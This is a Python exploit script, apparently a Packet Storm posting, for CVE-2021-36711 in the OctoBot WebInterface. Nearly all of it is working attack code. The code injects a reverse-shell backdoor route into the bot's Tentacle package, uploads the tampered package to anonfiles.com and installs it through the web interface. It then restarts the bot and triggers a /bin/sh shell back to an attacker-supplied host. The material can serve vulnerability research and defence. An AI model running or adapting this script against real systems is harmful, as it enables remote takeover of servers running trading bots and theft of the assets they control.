Share
## https://sploitus.com/exploit?id=PACKETSTORM:167780
# Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)  
# Date: 9/2/2021  
# Exploit Author: Samy Younsi, Thomas Knudsen  
# Vendor Homepage: https://www.octobot.online/  
# Software Link: https://github.com/Drakkar-Software/OctoBot  
# Version: 0.4.0beta3 - 0.4.3  
# Tested on: Linux (Ubuntu, CentOs)  
# CVE : CVE-2021-36711  
  
from __future__ import print_function, unicode_literals  
from bs4 import BeautifulSoup  
import argparse  
import requests  
import zipfile  
import time  
import sys  
import os  
  
def banner():  
sashimiLogo = """  
_________ . .  
(.. \_ , |\ /|  
\ O \ /| \ \/ /  
\______ \/ | \ /   
vvvv\ \ | / |  
_ _ _ _ \^^^^ == \_/ |  
| | __ _ | || |__ (_)_ __ ___ (_)`\_ === \. |  
/ __)/ _` / __| '_ \| | '_ ` _ \| |/ /\_ \ / |  
\__ | (_| \__ | | | | | | | | | | ||/ \_ \| /  
( /\__,_( |_| |_|_|_| |_| |_|_| \________/  
|_| |_| \033[1;91mOctoBot Killer\033[1;m   
Author: \033[1;92mNaqwada\033[1;m   
RuptureFarm 1029   
  
FOR EDUCATIONAL PURPOSE ONLY.   
"""  
return print('\033[1;94m{}\033[1;m'.format(sashimiLogo))  
  
  
def help():  
print('[!] \033[1;93mUsage: \033[1;m')  
print('[-] python3 {} --RHOST \033[1;92mTARGET_IP\033[1;m --RPORT \033[1;92mTARGET_PORT\033[1;m --LHOST \033[1;92mYOUR_IP\033[1;m --LPORT \033[1;92mYOUR_PORT\033[1;m'.format(sys.argv[0]))  
print('[-] \033[1;93mNote*\033[1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.')  
  
  
def getOctobotVersion(RHOST, RPORT):  
if RPORT == 443:  
url = 'https://{}:{}/api/version'.format(RHOST, RPORT)  
else:  
url = 'http://{}:{}/api/version'.format(RHOST, RPORT)  
return curl(url)   
  
  
def restartOctobot(RHOST, RPORT):  
if RPORT == 443:  
url = 'https://{}:{}/commands/restart'.format(RHOST, RPORT)  
else:  
url = 'http://{}:{}/commands/restart'.format(RHOST, RPORT)  
  
try:  
requests.get(url, allow_redirects=False, verify=False, timeout=1)  
except requests.exceptions.ConnectionError as e:   
print('[+] \033[1;92mOctoBot is restarting ... Please wait 30 seconds.\033[1;m')  
time.sleep(30)  
  
  
def downloadTentaclePackage(octobotVersion):  
print('[+] \033[1;92mStart downloading Tentacle package for OctoBot {}.\033[1;m'.format(octobotVersion))  
url = 'https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip'.format(octobotVersion)  
result = requests.get(url, stream=True)  
with open('{}.zip'.format(octobotVersion), 'wb') as fd:  
for chunk in result.iter_content(chunk_size=128):  
fd.write(chunk)  
print('[+] \033[1;92mDownload completed!\033[1;m')  
  
  
def unzipTentaclePackage(octobotVersion):  
zip = zipfile.ZipFile('{}.zip'.format(octobotVersion))  
zip.extractall('quests')  
os.remove('{}.zip'.format(octobotVersion))  
print('[+] \033[1;92mTentacle package has been extracted.\033[1;m')  
  
  
def craftBackdoor(octobotVersion):  
print('[+] \033[1;92mCrafting backdoor for Octobot Tentacle Package {}...\033[1;m'.format(octobotVersion))  
path = 'quests/reference_tentacles/Services/Interfaces/web_interface/api/'  
injectInitFile(path)  
injectMetadataFile(path)  
print('[+] \033[1;92mSashimi malicious Tentacle Package for OctoBot {} created!\033[1;m'.format(octobotVersion))  
  
  
def injectMetadataFile(path):  
with open('{}metadata.py'.format(path),'r') as metadataFile:  
content = metadataFile.read()  
addPayload = content.replace('import json', ''.join('import json\nimport flask\nimport sys, socket, os, pty'))  
addPayload = addPayload.replace('@api.api.route("/announcements")', ''.join('@api.api.route("/sashimi")\ndef sashimi():\n\ts = socket.socket()\n\ts.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))\n\t[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n\tpty.spawn("/bin/sh")\n\n\n@api.api.route("/announcements")'))  
with open('{}metadata.py'.format(path),'w') as newMetadataFile:  
newMetadataFile.write(addPayload)  
  
  
def injectInitFile(path):  
with open('{}__init__.py'.format(path),'r') as initFile:  
content = initFile.read()  
addPayload = content.replace('announcements,', ''.join('announcements,\n\tsashimi,'))  
addPayload = addPayload.replace('"announcements",', ''.join('"announcements",\n\t"sashimi",'))  
with open('{}__init__.py'.format(path),'w') as newInitFile:  
newInitFile.write(addPayload)  
  
  
def rePackTentaclePackage():  
print('[+] \033[1;92mRepacking Tentacle package.\033[1;m')  
with zipfile.ZipFile('any_platform.zip', mode='w') as zipf:  
len_dir_path = len('quests')  
for root, _, files in os.walk('quests'):  
for file in files:  
file_path = os.path.join(root, file)  
zipf.write(file_path, file_path[len_dir_path:])  
  
  
def uploadMaliciousTentacle():  
print('[+] \033[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.\033[1;m')  
  
file = {  
'file': open('any_platform.zip', 'rb'),  
}  
response = requests.post('https://api.anonfiles.com/upload', files=file, timeout=60)  
zipLink = response.json()['data']['file']['url']['full']  
response = requests.get(zipLink, timeout=60)  
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')  
zipLink = soup.find(id='download-url').get('href')  
print('[+] \033[1;92mSashimi malicious Tentacle has been successfully uploaded. {}\033[1;m'.format(zipLink))  
return zipLink  
  
def curl(url):  
response = requests.get(url, allow_redirects=False, verify=False, timeout=60)  
return response  
  
  
def injectBackdoor(RHOST, RPORT, zipLink):  
print('[+] \033[1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot... May take a minute.\033[1;m')  
if RPORT == 443:  
url = 'https://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)  
else:  
url = 'http://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)   
  
headers = {  
'Content-Type': 'application/json',  
'X-Requested-With': 'XMLHttpRequest',  
}  
  
data = '{"'+zipLink+'":"register_and_install"}'  
  
response = requests.post(url, headers=headers, data=data)  
response = response.content.decode('utf-8').replace('"', '').strip()  
  
os.remove('any_platform.zip')  
  
if response != 'Tentacles installed':  
print('[!] \033[1;91mError: Something went wrong while trying to install the malicious Tentacle package.\033[1;m')  
exit()  
print('[+] \033[1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.\033[1;m')  
  
  
def execReverseShell(RHOST, RPORT, LHOST, LPORT):  
print('[+] \033[1;92mExecuting reverse shell on {}:{}.\033[1;m'.format(LHOST, LPORT))  
if RPORT == 443:  
url = 'https://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)  
else:  
url = 'http://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)  
return curl(url)   
  
def isPassword(RHOST, RPORT):  
if RPORT == 443:  
url = 'https://{}:{}'.format(RHOST, RPORT)  
else:  
url = 'http://{}:{}'.format(RHOST, RPORT)  
return curl(url)  
  
def main():  
banner()  
args = parser.parse_args()  
  
if isPassword(args.RHOST, args.RPORT).status_code != 200:  
print('[!] \033[1;91mError: This Octobot Platform seems to be protected with a password!\033[1;m')  
  
octobotVersion = getOctobotVersion(args.RHOST, args.RPORT).content.decode('utf-8').replace('"','').replace('OctoBot ','')  
  
if len(octobotVersion) > 0:  
print('[+] \033[1;92mPlatform OctoBot {} detected.\033[1;m'.format(octobotVersion))  
  
downloadTentaclePackage(octobotVersion)  
unzipTentaclePackage(octobotVersion)  
craftBackdoor(octobotVersion)  
rePackTentaclePackage()  
zipLink = uploadMaliciousTentacle()  
injectBackdoor(args.RHOST, args.RPORT, zipLink)  
restartOctobot(args.RHOST, args.RPORT)  
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)  
  
  
if __name__ == "__main__":  
parser = argparse.ArgumentParser(description='POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.', add_help=False)  
parser.add_argument('-h', '--help', help=help())  
parser.add_argument('--RHOST', help="Refers to the IP of the target machine.", type=str, required=True)  
parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)  
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)  
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)  
main()